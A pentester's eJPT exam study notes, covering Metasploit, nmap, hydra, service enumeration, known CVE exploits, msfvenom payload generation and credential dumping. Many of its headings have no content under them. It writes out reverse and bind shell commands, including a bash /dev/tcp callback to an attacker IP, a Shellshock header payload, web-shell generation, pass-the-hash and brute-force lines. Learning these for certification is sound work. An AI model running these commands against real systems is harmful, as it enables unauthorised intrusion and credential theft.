Here are the short notes I took while preparing for my eJPT exam. I hope they help you practice and remember key concepts more easily! Keep in mind that reading notes alone isn’t enough to pass—hands-on practice is what really makes a difference. To be honest, eJPT is a beginner-level certification, so these notes cover the absolute basics. I took the exam and passed it back in October 2025. Even though technology is always changing, I’m sharing these here in hopes they might help you on your own learning journey. Good luck!

Table of Contents

Core Tools

Crackmapexec

A tool used for “Pass The Hash” attacks , bruteforcing , and executing arbitrary commands.

1. SMB Protocol (Port 445)

2. WinRM Protocol (Port 5985/5986)


Hydra

A tool for bruteforcing logins.

General Usage: hydra [options] <target> <protocol> Key Flags:


1. SMB (Samba) Bruteforce

2. WebDAV Bruteforce

3. RDP Bruteforce


Metasploit Framework

Basics

Launch msfconsole

BASH
msfconsole
# or start with a resource file to run commands automatically
msfconsole -r handler.rc
Click to expand and view more

Database (PostgreSQL) Integration

Metasploit stores persistent data in a PostgreSQL database. Start the DB before using data features.

BASH
# Example (Debian/Ubuntu / Kali-based)
sudo systemctl start postgresql
# or
sudo service postgresql start
Click to expand and view more

Inside msfconsole, check DB connectivity: db_status


Workspaces

Workspaces let you separate data for different engagements.

BASH
# Create a new workspace
workspace -a <name>

# Switch to an existing workspace
workspace <name>

# List existing workspaces
workspace
Click to expand and view more

Use one workspace per client/engagement to avoid mixing results.


Viewing Stored Data

After scans or operations, view collected info:

BASH
hosts    # list discovered hosts
services # list services for hosts
vulns    # list known vulnerabilities recorded
loot     # files/data collected
creds    # credentials found or imported
notes    # notes added to the database
Click to expand and view more

Importing Scans (Nmap)

Import an Nmap XML file you already have:

BASH
db_import /path/to/file.xml
Click to expand and view more

Run Nmap from within msfconsole and import the results automatically:

BASH
# Example (service/version detection, aggressive, all ports)
db_nmap -sV -A -p- 192.168.1.0/24
Click to expand and view more

Searching Modules

Search msf modules by type, name, CVE, platform, and more.

BASH
# Search by type and keyword
search type:exploit name:ftp

# Search by CVE and name
search cve:2017 name:smb

# General keyword search
search smb
Click to expand and view more

Use info <module_path> to view module details once you find one.


Global Variables

Set global variables so they apply to every module in the session (use carefully):

BASH
setg RHOSTS 192.168.1.10  # affects all modules unless overridden
setg RPORT 445
Click to expand and view more

Analysis & Vulnerabilities

List vulnerabilities discovered or imported:

BASH
vulns          # list all vuln entries in DB
vulns -p 445   # list vuln entries related to port 445
Click to expand and view more

Let Metasploit analyze services and propose potential issues:

TEXT
analyze
Click to expand and view more

analyze maps services to possible exploits and highlights suspicious findings.


Plugins: wmap & db_autopwn

wmap (web scanner)

A lightweight web application scanner built into Metasploit.

BASH
# Load plugin
load wmap

# Add a site (IP/host)
wmap_sites -a <IP_or_hostname>

# Set the target URL
wmap_targets -t http://<ip_or_hostname>[:port]/[path]

# Run the scan (use -e to execute enabled modules)
wmap_run -e

# List vulnerabilities discovered
wmap_vulns -l
Click to expand and view more

db_autopwn / metasploit-autopwn

TEXT
# Load the plugin
load db_autopwn

# Run autopwn (example)
db_autopwn -p -PI 445
Click to expand and view more

Import existing scan and analyze

BASH
# Import
db_import /home/user/scans/target_nmap.xml

# Check vuln info
vulns
analyze
Click to expand and view more

Exploit Run Example — Step by Step

  1. ==Find a module:==
BASH
search cve:2017 name:smb
use exploit/windows/smb/ms17_010_eternalblue
Click to expand and view more
  1. ==Show module info/options:==
BASH
info
show options
Click to expand and view more
  1. ==Configure module options and payload:==
BASH
set RHOSTS 192.168.1.101
set RPORT 445
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.0.0.5
set LPORT 4444
Click to expand and view more
  1. ==Run the exploit:==
BASH
exploit    # runs interactively
exploit -j # or run as a job (background)
Click to expand and view more
  1. ==If a session opens, manage it with sessions:==
BASH
sessions -l     # list sessions
sessions -i 1   # interact with session 1
Click to expand and view more

Quick Command Summary

BASH
# Start
msfconsole
msfconsole -r handler.rc

# Database
sudo systemctl start postgresql
db_status

# Workspaces
workspace -a <name>
workspace <name>
workspace

# View data
hosts
services
vulns
loot
creds

# Import/run nmap
db_import /path/to/file.xml
db_nmap -sV -A -p- 192.168.1.0/24

# Search
search type:exploit name:ftp
search cve:2017 name:smb

# Global
setg RHOSTS 192.168.1.10

# Analysis
vulns -p 445
analyze

# Plugins
load wmap
wmap_sites -a 192.168.1.10
wmap_targets -t http://192.168.1.10
wmap_run -e
wmap_vulns -l

load db_autopwn
# use with caution
db_autopwn -p -PI 445
Click to expand and view more

NMAP

Basic scans

Default (top 1,000 TCP ports)
nmap <target_ip>
Example: nmap 10.10.10.5
What it does: runs a default scan (SYN or connect depending on privileges) against the most common 1,000 TCP ports and reports open ports and basic service info.

Scan all TCP ports (1–65535)
nmap -p- <target_ip>
Example: nmap -p- 10.10.10.5
What it does: checks every TCP port. Slower but necessary when a service is on an uncommon high port.

Scan a specific set of ports
nmap -p 22,80,443 <target> or with range -p 1-1000
Example: nmap -p 50,443 192.168.1.10


Scan types (how probes are sent)

SYN (stealth) scan — common and fast if you have root/administrator:
nmap -sS <target>
Example: nmap -sS 10.10.10.5

TCP connect scan — uses OS connect(), works without raw sockets (unprivileged):
nmap -sT <target>
Example: nmap -sT 10.10.10.5

UDP scan — checks UDP services (slower, noisy):
nmap -sU -p 53,161 <target>
Example: nmap -sU -p 53,161 192.168.1.5

Ping scan (host discovery only) — find live hosts:
nmap -sn 192.168.1.0/24
Example: nmap -sn 192.168.1.0/24
What it does: reports which hosts are up without port-scanning them.


Service & OS detection

Service/version detection
nmap -sV <target>
Example: nmap -sV -p 80,443 10.10.10.5
What it does: probes open ports to determine the service name and version.

OS detection
nmap -O <target>
Example: nmap -O 10.10.10.5
What it does: attempts to fingerprint the remote OS (TTL, TCP options, etc.). Needs some open/closed ports to be more accurate.

Aggressive (combines many checks)
nmap -A <target>
Example: nmap -A 10.10.10.5
What it does: runs OS detection, version detection, default scripts and traceroute. Use when you want as much info as possible (noisy).


Timing templates (speed vs stealth)

OptionName
-T0Paranoid (very slow — for IDS evasion)
-T1Sneaky
-T2Polite
-T3Normal (default)
-T4Aggressive (faster)
-T5Insane (fastest, most detectable)
Example (fast aggressive scan):
nmap -T4 -sS -p- 10.10.10.5

Tip: Increase -T to speed up when stealth isn’t required. Use -T1 or -T0 when you want to try to avoid detection.


Verbose / debug / output control

Verbose
nmap -v <target> (use -vv for more verbosity).
Example: nmap -v 10.10.10.5

Debugging
nmap -d <target> (higher -d levels give more internal detail).
Example: nmap -d 10.10.10.5

Save output

OptionSyntaxExample
Normal text-oN file.txtnmap -sV -oN scan.txt 10.10.10.5
XML-oX file.xmlnmap -oX scan.xml 10.10.10.5
Greppable-oG file.gnmapnmap -oG scan.gnmap 10.10.10.5
All formats-oA filenmap -oA myscan 10.10.10.5 (creates myscan.nmap, .xml, .gnmap)

Nmap Scripting Engine (NSE)

Script location (typical): /usr/share/nmap/scripts/
List script help:
nmap --script-help <script-name>
Example: nmap --script-help mongodb-info

Run one script:
nmap -sV --script=mongodb-info -p 27017 <ip>
Example: nmap -sV --script=mongodb-info -p 27017 10.10.10.6
What it does: runs the mongodb-info NSE script against port 27017 to gather DB info.

Run multiple scripts / wildcard:
nmap --script=ftp* <target> → runs all scripts with names starting ftp.
nmap --script=default -sV <target> → runs the default safe scripts (same as -sC).

Example — run multiple scripts:
nmap -sV --script=http-vuln*,ssl* -p 80,443 10.10.10.5
What it does: runs scripts related to HTTP vulns and SSL against ports 80/443.


Example practical scans

Quick service & version on port 80
nmap -sS -sV -p 80 10.10.10.5

Aggressive all-ports scan with output saved
nmap -A -T4 -p- -oA fullscan 10.10.10.5

Ping sweep a subnet
nmap -sn 192.168.1.0/24

Run default NSE scripts and save
nmap -sC -sV -oA default-scan 192.168.1.20

Run a targeted NSE script against MongoDB
nmap -sV --script=mongodb-info -p 27017 192.168.2.5


Host discovery & firewalls

If pings blocked — treat hosts as up
nmap -Pn <target>
Example: nmap -Pn -sS -p 22,80 10.10.10.5
What it does: skips host discovery (no ICMP/ARP checks) and directly tries ports.

ARP discovery for local networks (fast + accurate)
nmap -PR 192.168.1.0/24 (ARP is usually automatic on LAN)


Firewall / IDS evasion techniques

Use decoys — mix decoy IPs so attacker origin is obfuscated:
nmap -D decoy1,decoy2,ME <target>
Example: nmap -D 10.0.0.1,10.0.0.2,ME 192.168.1.10
Behavior: target will see many sources scanning it in parallel.

Random decoys: -D RND:10 <target> (10 random decoy addresses)

Spoof source IP (needs raw socket & appropriate network setup):
nmap -S <spoof_ip> <target>
Example: nmap -S 1.2.3.4 -sS 10.0.0.5
Note: Spoofing may not work on many networks and is often illegal without permission.

Fragment packets to evade naive filters
nmap --mtu 16 -sS <target>
Example: nmap --mtu 16 -sS 10.10.10.5
Note: Fragmentation can confuse simple IDS but modern ones often reassemble packets.

Throttle speed / add delays
--scan-delay 200ms or --max-rate 100
Example: nmap -T2 --scan-delay 200ms 10.10.10.5


Traceroute and network path

Include traceroute
nmap --traceroute <target>
Example: nmap -A --traceroute 10.10.10.5


Integration with Metasploit (MSF)

Save Nmap output as XML
nmap -oX scan.xml <target>
Example: nmap -sV -oX scan.xml 192.168.1.10

In Metasploit console (msfconsole):

  1. Start msfconsole.
  2. Check DB: msf> db_status
  3. Create a workspace (optional): msf> workspace -a mynmap
  4. Import results: msf> db_import /path/to/scan.xml
  5. View imported hosts/services: msf> hosts and msf> services

Run Nmap from inside msfconsole (auto-import)
msf> db_nmap -sV -p 80,443 192.168.1.0/24
What it does: runs Nmap via Metasploit and imports results directly into the DB.


Output formats — why/when


Useful combos (ready-to-use)


Quick reference (most-used flags)


Netcat

A versatile networking tool for banner grabbing, file transfers, and creating bind/reverse shells.


1. Banner Grabbing

2. Listener / Server Mode

3. Client Mode

4. File Transfer


Searchsploit

2. How to Use an Exploit

  1. Find the exploit ID (e.g., 12345.py) from the search results.
  2. Copy the exploit file to your current location using the -m flag:
    • searchsploit -m <DBID>
      searchsploit.png

3. Useful Filters


Reconnaissance

Active recon

Definition: Active reconnaissance involves directly engaging with the target system to gather information.

Goals

Tools & Techniques

1. WAF (Web Application Firewall) Detection

2. DNS Lookup

3. DNS Zone Transfer


Passive recon

Definition: Passive reconnaissance is the first step of a pentest where you gather information without engaging with the target. This is also known as OSINT (Open-Source Intelligence).

Information to Gather:

Tools & Techniques

1. Google Dorking (Google Hacking DataBase)

2. Technology Profilers

3. Website & DNS Footprinting

4. Historical Data

5. Website Mirroring


Enumeration

FTP

PORT 21 — FTP


MSF (Metasploit) auxiliary modules

MSF modulePurpose
auxiliary/scanner/ftp/ftp_versionIdentify FTP server/version
auxiliary/scanner/ftp/ftp_loginBrute-force FTP credentials
auxiliary/scanner/ftp/anonymousCheck for anonymous login

mget *.txt # multiple files (wildcard)

PLAINTEXT
**Upload**
Click to expand and view more

put local-file # single file mput *.jpg # multiple files (wildcard)


Check FTP anonymous login with Nmap

BASH
#scan port 21 and run the ftp-anon NSE script
nmap -p 21 --script ftp-anon <IP>
Click to expand and view more

Brute-forcing FTP

Hydra (fast multithreaded bruteforce)

BASH
#username list (-L), password list (-P), service ftp 
hydra -L users.txt -P passwords.txt -t 16 <IP> ftp  
Click to expand and view more

HTTP

PORT 80 — HTTP eg. Apache, Nginx, Microsoft IIS


MSF (Metasploit) auxiliary modules

MSF modulePurpose
auxiliary/scanner/http/http_versionIdentify HTTP version
auxiliary/scanner/http/http_headerHTTP header enum (http banner)
auxiliary/scanner/http/robots_txtFetch robots.txt
auxiliary/scanner/http/dir_scannerBruteforce directories
auxiliary/scanner/http/files_dirFile bruteforce
auxiliary/scanner/http/http_loginLogin authentication bruteforce
auxiliary/scanner/http/apache_userdir_enumFind apache usernames

Using nmap

BASH
nmap -p 80 -sV --script banner <target-ip>
Click to expand and view more
BASH
#For directory enum:
nmap -p 80 <target-ip> -sV --script http-enum

#Fetches HTTP header info along with other info:
nmap -p 80 <target-ip> -sV --script http-headers

#Enumerating the methods we can use on the webpage:
nmap --script http-methods --script-args http-methods.url-path=/webdav/ <IP>

#Helps to identify webdav installations.
nmap --script http-webdav-scan --script-args http-methods.url-path=/webdav/ <IP>
Click to expand and view more

Using whatweb

BASH
whatweb <IP>
Click to expand and view more

Using httpie

PLAINTEXT
http <ip/website> 
Click to expand and view more

MYSQL

PORT 3306 — MySQL/MariaDB


MSF (Metasploit) auxiliary modules

MSF modulePurpose
auxiliary/scanner/mysql/mysql_versionIdentify mysql version
auxiliary/scanner/mysql/mysql_loginBruteforce login credentials
auxiliary/scanner/mysql/mysql_schemadumpSchema dump
auxiliary/admin/mysql/mysql_enumEnum mysql (credential)
auxiliary/admin/mysql/mysql_sqlinteract with database(credential)

Bruteforce MYSQL

Using metasploit

PLAINTEXT
use auxiliary/scanner/mysql/mysql_login
Click to expand and view more

Using hydra

BASH
hydra -l <username> -P <path_to_wordlist> <target-ip> mysql
Click to expand and view more

Nmap — MySQL (port 3306)

Metasploit — MySQL / MSSQL modules

SQL (direct) — example


Microsoft SQL

PORT 1433 — MSSQL


MSF modulePurpose
auxiliary/scanner/mssql/mssql_loginBruteforce logins
auxiliary/admin/mssql/mssql_enumMore enumeration (configs, paths)
auxiliary/admin/mssql/mssql_enum_sql_loginsEnumerate SQL logins
auxiliary/admin/mssql/mssql_execExecute system commands
auxiliary/admin/mssql/mssql_enum_domain_accountsEnumerate domain accounts

Nmap — useful MSSQL scripts (examples)

BASH
# Basic info (server name, version)
nmap -p 1433 <ip> --script ms-sql-info

# NTLM / domain info (NetBIOS, DNS names)
nmap -p 1433 <ip> --script ms-sql-ntlm-info --script-args mssql.instance-port=1433

# Brute-force with wordlists
nmap -p 1433 <ip> --script ms-sql-brute --script-args userdb=users.txt,passdb=passes.txt

# Check for NULL/empty passwords
nmap -p 1433 <ip> --script ms-sql-empty-password

# Run a SQL query (export to text)
nmap -p 1433 <ip> --script ms-sql-query \
  --script-args 'mssql.username=sa,mssql.password=pass,ms-sql-query.query="SELECT * FROM master..syslogins"' \
  -oN mssql_query.txt

# Dump password hashes (requires valid creds)
nmap -p 1433 <ip> --script ms-sql-dump-hashes \
  --script-args 'mssql.username=sa,mssql.password=pass'

# Run xp_cmdshell (execute system CMD via MSSQL; requires privilege)
nmap -p 1433 <ip> --script ms-sql-xp-cmdshell \
  --script-args 'mssql.username=sa,mssql.password=pass,ms-sql-xp-cmdshell.cmd="type C:\\flag.txt"'
Click to expand and view more

Quick workflow (example)

  1. nmap -p 1433 <ip> --script ms-sql-info → confirm MSSQL and version.
  2. nmap -p 1433 <ip> --script ms-sql-ntlm-info → get domain/host names.
  3. If no creds: nmap --script ms-sql-empty-password,ms-sql-brute -p 1433 <ip> ...
  4. With creds: run ms-sql-query, ms-sql-dump-hashes or ms-sql-xp-cmdshell (if permitted).

RDP

PORT 3389 — RDP


MSF modulePurpose
auxiliary/scanner/rdp/rdp_scannerTo find the port running RDP

Hydra (brute-force)

hydra -L users.txt -P wordlist.txt rdp://<ip> -s <port>

Connect using RDP (xfreerdp)

xfreerdp /u:administrator /p:password /v:192.168.1.1:3389

Connect using RDP (rdesktop)

rdesktop -u administrator -p password 192.168.1.1:3389


SMB

PORT 445,139 — SMB


MSF (Metasploit) auxiliary modules

MSF modulePurpose
auxiliary/scanner/smb/smb_versionIdentify SMB server/version
auxiliary/scanner/smb/smb_enumusersUser enumerate
auxiliary/scanner/smb/smb_enumsharesList shares
auxiliary/scanner/smb/smb_loginBruteforce SMB

1. List SMB shares (smbclient)

BASH
smbclient -L //TARGET -U username
# Example:
smbclient -L //192.168.1.10 -U alice
Click to expand and view more

Notes: Prompts for password. Use -N for anonymous (no password).


2. Access a share (smbclient)

BASH
smbclient //TARGET/SHARE -U username
# Example:
smbclient //192.168.1.10/shared -U alice
Click to expand and view more

Inside smbclient you can use ls, cd, get, put, recurse, prompt.


3. Test anonymous connection

BASH
smbclient -L //TARGET -N
# Example:
smbclient -L //192.168.1.10 -N
Click to expand and view more

If successful, the share list will display and you may be able to smbclient //TARGET/SHARE -N to connect.


4. Brute-force SMB (Hydra)

BASH
hydra -L users.txt -P passwords.txt smb://TARGET -t 4
# Example:
hydra -L users.txt -P pass.txt smb://192.168.1.10 -t 8
Click to expand and view more

Notes: -t sets parallel threads. Use responsibly and legally.


5. List shares (smbmap)

BASH
smbmap -H TARGET
# Example:
smbmap -H 192.168.1.10
Click to expand and view more

smbmap shows accessible shares and common write/read permission checks.


6. smbclient quick commands (inside)

BASH
ls           # list remote files
cd <dir>     # change remote dir
lcd <dir>    # change local dir
get file     # download single file
mget *.txt   # download multiple files
put file     # upload single file
mput *.jpg   # upload multiple files
recurse      # enable recursive mget/mput
prompt       # toggle interactive prompts for mget/mput
Click to expand and view more

7. Enumerate with enum4linux

BASH
enum4linux -a TARGET
# Example:
enum4linux -a 192.168.1.10
enum4linux -a -u admin -p password 192.168.1.10 #Enumerate all the details
Click to expand and view more

Notes: -a runs all checks (userlist, shares, OS info, SIDs, etc.). Good first-pass SMB enumeration.


8. Quick workflow (example)

BASH
#1. Enumerate shares
smbclient -L //192.168.1.10 -N
smbmap -H 192.168.1.10

#2. Try anonymous connect
smbclient //192.168.1.10/public -N

#3. If user found, brute
hydra -L users.txt -P pass.txt smb://192.168.1.10 -t 8

smbmap -H 192.168.1.10 -u admin -p password -r #Enum shares(LIST SHARES RECURSIVELY)

#4. If connected, browse and download
smbclient //192.168.1.10/share -U admin
Click to expand and view more

smb.jpg


SMTP

PORT 25,465,587 — SMTP


MSF modulePurpose
auxiliary/scanner/smtp/smtp_versionVersion info
auxiliary/scanner/smtp/smtp_enumUsername enumeration

Tool

smtp-user-enum -U <username_list> -t <ip>


SSH

PORT 22 — SSH


MSF modulePurpose
auxiliary/scanner/ssh/ssh_versionGrab SSH banner / version info
auxiliary/scanner/ssh/ssh_loginBrute-force SSH credentials
auxiliary/scanner/ssh/ssh_enumusersEnumerate possible SSH usernames (if available)

Brute-forcing

Using hydra

BASH
# single user
hydra -l <username> -P passwords.txt ssh://<TARGET-IP> -t 4

# user list
hydra -L users.txt -P passwords.txt ssh://<TARGET-IP> -t 6
Click to expand and view more

Using nmap (ssh-brute)

BASH
# supply userdb (and optional passdb)
nmap -p 22 <IP> --script ssh-brute --script-args userdb=./users.txt,passdb=./passes.txt
Click to expand and view more

Using Metasploit

BASH
use auxiliary/scanner/ssh/ssh_login
set RHOSTS <TARGET-IP>
set USER_FILE users.txt    # or set USERNAME <user>
set PASS_FILE passes.txt   # or set PASSWORD <pass>
set STOP_ON_SUCCESS true
run
Click to expand and view more

BASH
# netcat banner
nc -w 3 <TARGET-IP> 22

# direct ssh (shows host key prompt)
ssh -v user@<TARGET-IP>
Click to expand and view more

Using nmap

BASH
# enumerate supported algos (ciphers, KEX, MACs)
nmap -p 22 <IP> --script ssh2-enum-algos

# get full host key(s)
nmap -p 22 <IP> --script ssh-hostkey --script-args ssh_hostkey=full

# check available auth methods for a user
nmap -p 22 <IP> --script ssh-auth-methods --script-args "ssh.user=<username>"
Click to expand and view more

Download (SCP / SFTP)

PLAINTEXT
# scp (single file)
scp user@host:/remote/path/file.txt ./local/

# sftp (interactive / multiple)
sftp user@host
# inside sftp:
get file.txt
mget *.txt
Click to expand and view more

Upload (SCP / SFTP)

BASH
# scp (single file)
scp ./local/file.zip user@host:/remote/path/

# sftp
sftp user@host
# inside sftp:
put file.zip
mput *.jpg
Click to expand and view more

Example workflow

  1. nc -w 3 <IP> 22 → banner.
  2. nmap -p 22 <IP> --script ssh2-enum-algos,ssh-hostkey,ssh-auth-methods → algorithms, keys, auth methods.
  3. If allowed, try hydra or Metasploit ssh_login with wordlists.
  4. If access gained, use scp/sftp to download/upload files.

WinRM

PORT 5985,5986 — winrm

WinRM (Windows Remote Management)

MSF modulePurpose
exploit/windows/winrm/winrm_script_execWinRM RCE(credential)

1. Nmap Scan

2. Tools for Attack

  1. Crackmapexec
  2. evil-winrm
  3. Metasploit

1. Attacking with Crackmapexec (CME)

2. Attacking with evil-winrm

3. Attacking with Metasploit


Exploitation

Linux Exploits

ProtocolTableCVE
HTTPApache TomcatN/A
HTTPShell ShockCVE-2014-6271
HTTPXODACVE-2012-10045
SMBSambaCVE-2017-7494
SMTPHarakaCVE-2016-1000282
SSHLibsshCVE-2018-10933

Msfvenom and handler

msfvenom is a command-line utility used to generate and encode payloads.

Basic Usage & flags


PART 1: Payload Creation(msfvenom)

Windows

1) Windows x64 Meterpreter EXE (reverse)

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=4444 -f exe -o backdoor_win_x64.exe

2) Windows ASP web-shell (IIS / WebDAV)

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=4444 -f asp -o shell.asp

Linux

3) Linux x86 Meterpreter ELF

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=4444 -f elf -o shell_linux_x86.elf chmod +x shell_linux_x86.elf

4) Raw reverse shell (sh) for constrained targets

msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.0.0.5 LPORT=4444 -f raw > raw_payload.bin

web shell

5) JSP bind shell (server binds to port)

#In Metasploit modules you'd set: set payload java/jsp_shell_bind_tcp #To generate a JSP web-shell via msfvenom: msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.0.0.5 LPORT=4444 -f raw -o shell.jsp

msfvenom.png

PART 2: Setting handler (msfconsole)

1. Start msfconsole : msfconsole

2. Load the handler module : use exploit/multi/handler

3. Configure the handler (must match your payload)

BASH
set PAYLOAD windows/x64/meterpreter/reverse_tcp   # exact payload name
set LHOST 10.0.0.5                                # your listener IP
set LPORT 4444                                    # port you used in msfvenom
set ExitOnSession false                           # keep handler running after connect
Click to expand and view more

4. Run handler : run


Payloads & Shells

A “shell” provides an interface to interact with a system’s command line. In pentesting, two common types are bind and reverse shells.

Netcat (nc)

A primary tool for creating and catching shells.

Bind Shell Example:

  1. Target (Windows): nc -nulp 134 -e cmd.exe
  2. Target (Linux): nc -nulp 134 -e /bin/bash
  3. Attacker (Connects): nc <Target_IP> 134

Reverse Shell Example:

  1. Attacker (Listener): nc -nvlp 1234
  2. Target (Linux): bash -i >& /dev/tcp/<Attacker_IP>/1234 0>&1
  3. Target (Burp/Shellshock): Can be used to send a reverse shell payload bash -i > /dev/tcp/<ip:port>

Web Shells

A web shell is a malicious script uploaded to a web server that allows remote access via a web browser.


windows Exploits

ProtocolTableCVE
HTTPBadBlueCVE-2007-6377
HTTPRejetto hfsCVE-2014-6287
HTTPWebdav exploitN/A
RDPBlueKeepCVE-2019-0708
SMBEternalBlueMS17-010CVE-2017-0144
SMBPsExecN/A
SMBSMB RelayN/A
WinRMWinRm Script ExecN/A

Apache Tomcat

Operating SystemMulti-platform
ProtocolHTTP
Affected Versions8.5.19 (as per notes)
CVEN/A (Vulnerability in default configuration)
DescriptionA vulnerability that allows an attacker to bypass file upload restrictionsand upload a malicious JSP file, leading to remote code execution.

Notes:


Haraka

Operating SystemLinux
ProtocolSMTP
Affected VersionsHaraka 2.8.8 and earlier
CVE#CVE-2016-1000282
DescriptionA command injection vulnerability in a Haraka plugin.It allows a remote attacker to execute arbitrary commands, oftenby sending a specially crafted MAIL FROM command or attachment.

Notes:


Libssh

Operating SystemLinux / Multi-platform
ProtocolSSH
Affected Versionslibssh 0.6.0 to 0.7.5 and 0.8.0 to 0.8.3
CVE#CVE-2018-10933
DescriptionAllows an attacker to bypass the authentication process and gain unauthorized access to a system.

Notes:


Samba

Operating SystemLinux
ProtocolSMB (Samba)
Affected Versions3.5.0 to 4.4.13, 4.5.0 to 4.5.9, and 4.6.0 to 4.6.2
CVE#CVE-2017-7494
DescriptionA remote code execution vulnerability.It allows a remote attacker to upload a malicious shared library to a writeable shareand then cause the server to load and execute it by probing a named pipe.

Notes:


Shell Shock

Operating SystemLinux / Unix
ProtocolHTTP (via CGI)
Affected VersionsVulnerable versions of Bash
CVE#CVE-2014-6271
DescriptionA vulnerability in the Bash shell. It is often exploited via CGI scripts on web servers (like Apache) to execute arbitrary commands on the system.

Notes

BASH
nmap -sV <IP> --script=http-shellshock --script-args "http-shellshock.uri=/gettime.cgi"
Click to expand and view more
TEXT
use exploit/multi/http/apache_mod_cgi_bash_env_exec
set RHOSTS <target>
set TARGETURI /gettime.cgi
set PAYLOAD <payload if needed>
exploit
Click to expand and view more
PLAINTEXT
User-Agent: () { :; }; /bin/bash -c '<command>'
Click to expand and view more

XODA

Operating SystemUnix / PHP
ProtocolHTTP
Affected Versions0.4.5
CVE#CVE-2012-10045
DescriptionAn unauthenticated arbitrary file upload vulnerability.It allows an attacker to abuse the upload functionality to uploada malicious PHP web shell, resulting in remote code execution.

Notes:


BadBlue

Operating SystemWindows
ProtocolHTTP
Affected VersionsBadBlue 2.72b and earlier
CVE#CVE-2007-6377
DescriptionA stack-based buffer overflow vulnerability in the PassThru functionality of ext.dll.It allows a remote attacker to execute arbitrary code by sending a long query string.

Notes:

BadBlue 2.72b PassThru Buffer Overflow


BlueKeep

Operating SystemWindows
ProtocolRDP (Remote Desktop Protocol)
Affected VersionsWindows 7, XP, Vista, Server 2003, Server 2008 / 2008 R2
CVE#CVE-2019-0708
DescriptionA “wormable” remote code execution (RCE) vulnerability.It allows an attacker to execute arbitrary code on a target system by sending specially crafted requests to the RDP service without authentication.

Notes:

auxiliary/scanner/rdp/cve_2019_0708_bluekeep -> To check if target is vulnerable


EternalBlue

Operating SystemWindows
ProtocolSMB (Server Message Block) v1
Affected VersionsWindows Vista, 7, 8.1, 10, Server 2008, Server 2012, Server 2016
CVE#CVE-2017-0144
DescriptionA vulnerability in Microsoft’s SMBv1 protocol.It allows a remote attacker to execute arbitrary code by sending specially crafted packets to a vulnerable server.

Notes:

EternalBlue-2.png


PsExec

Operating SystemWindows
ProtocolSMB (Server Message Block)
Affected VersionsN/A (Requires valid credentials)
CVEN/A
DescriptionA “telnet-replacement” for Windows used to run commands on remote systems. It requires authenticated access, which can be provided as a password or as an NTLM hash for a “Pass The Hash” attack.

Notes

1. Metasploit Module

TEXT
set LPORT 4422
set RHOSTS <IP>
set SMBUser Administrator
set SMBPass <NTLM_HASH>
set target <target_ID>
exploit
Click to expand and view more

2. Standalone Python Tool (Impacket )

BASH
psexec.py <username>@<IP>
Click to expand and view more

![EJPT prep/images and screenshots/psexec.png](EJPT prep/images and screenshots/psexec.png)


Rejetto hfs

Operating SystemWindows
ProtocolHTTP
Affected Versions2.3x before 2.3c
CVE#CVE-2014-6287
DescriptionA remote command execution (RCE) vulnerability in the parserLib.pas.It allows an attacker to execute arbitrary programs by using a %00 (null byte) sequencein a search query to bypass filtering.

Notes:

BASH
$ msfconsole

msf > use exploit/windows/http/rejetto_hfs_exec 
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp

msf exploit(windows/http/rejetto_hfs_exec) > set LPORT 123
LPORT => 123

msf exploit(windows/http/rejetto_hfs_exec) > set LHOST 192.168.1.2
LHOST => 192.168.1.2

msf exploit(windows/http/rejetto_hfs_exec) > set RPORT 8080
RPORT => 8080

msf exploit(windows/http/rejetto_hfs_exec) > set RHOSTS 192.168.1.3
RHOSTS => 192.168.1.3

msf exploit(windows/http/rejetto_hfs_exec) > run
Click to expand and view more

SMB Relay

Operating SystemWindows
ProtocolSMB (Server Message Block)
Affected VersionsN/A (Attack on NTLM authentication)
CVEN/A (Attack method)
DescriptionAn attack where the attacker intercepts an SMB authentication requestfrom one machine and relays it to another (the target server),impersonating the original machine to gain unauthorized access.

Notes:


Webdav exploit

Operating SystemWindows
ProtocolHTTP (WebDAV)
Affected VersionsMicrosoft IIS servers with misconfigured writeable directories
CVE
DescriptionA misconfiguration where WebDAV-enabled directories are writeable.This allows an attacker to PUT (upload) a malicious web shell (e.g., .asp)and execute it to get remote code execution.

Notes:

1. Manual Enumeration Tools

2. Metasploit Exploit (Automatic)

3. Metasploit Exploit (Manual)

  1. Generate Payload:
    • msfvenom -p windows/meterpreter/reverse-tcp LHOST=10.10.5.2 LPORT=1234 -f asp > shell.asp
  2. Set up Listener:
    • use multi/handler
    • set payload windows/meterpreter/reverse-tcp
    • Set LPORT 1234
    • Set LHOST 10.10.5.2
    • run
  3. Upload & Execute:
    • Use cadaver to upload the shell.asp file to the writeable directory.
    • Access the shell in your browser to trigger the connection.

webdav.png


WinRm Script Exec

Operating SystemWindows
ProtocolWinRM (Windows Remote Management)
Affected VersionsN/A (Requires valid credentials)
CVEN/A (Attack method)
DescriptionAn exploit that executes a script or command on a target systemby authenticating to the WinRM service with valid credentials.

Notes:


Post Exploitation

Linux credential dumping

1. Linux Password Hashes

ValueHashing algorithm
$1MD5
$2Blowfish
$5SHA256
$6SHA512

2. Dumping Hashes with Metasploit


Linux local enumeration

1. Manual Enumeration Commands

2. LinEnum (Automated Script)


Windows credential dumping

Purpose: To extract plain-text passwords and password hashes from memory. The hashes are often stored in the lsass.exe process memory.

1. Windows Password Hashes

2. #Kiwi (Inbuilt Meterpreter Extension)

3. #Mimikatz (Executable)

PLAINTEXT
  .#####.   mimikatz 2.0 alpha (x86) release "Kiwi en C" (Apr  6 2014 22:02:03)
 .## ^ ##.
 ## / \ ##  /* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 '## v ##'   http://blog.gentilkiwi.com/mimikatz             (oe.eo)
  '#####'                                    with  13 modules * * */


mimikatz # privilege::debug
Privilege '20' OK
 
mimikatz # sekurlsa::logonpasswords
 
Authentication Id : 0 ; 515764 (00000000:0007deb4)
Session           : Interactive from 2
User Name         : Gentil Kiwi
Domain            : vm-w7-ult-x
SID               : S-1-5-21-1982681256-1210654043-1600862990-1000
        msv :
         [00000003] Primary
         * Username : Gentil Kiwi
         * Domain   : vm-w7-ult-x
         * LM       : d0e9aee149655a6075e4540af1f22d3b
         * NTLM     : cc36cf7a8514893efccd332446158b1a
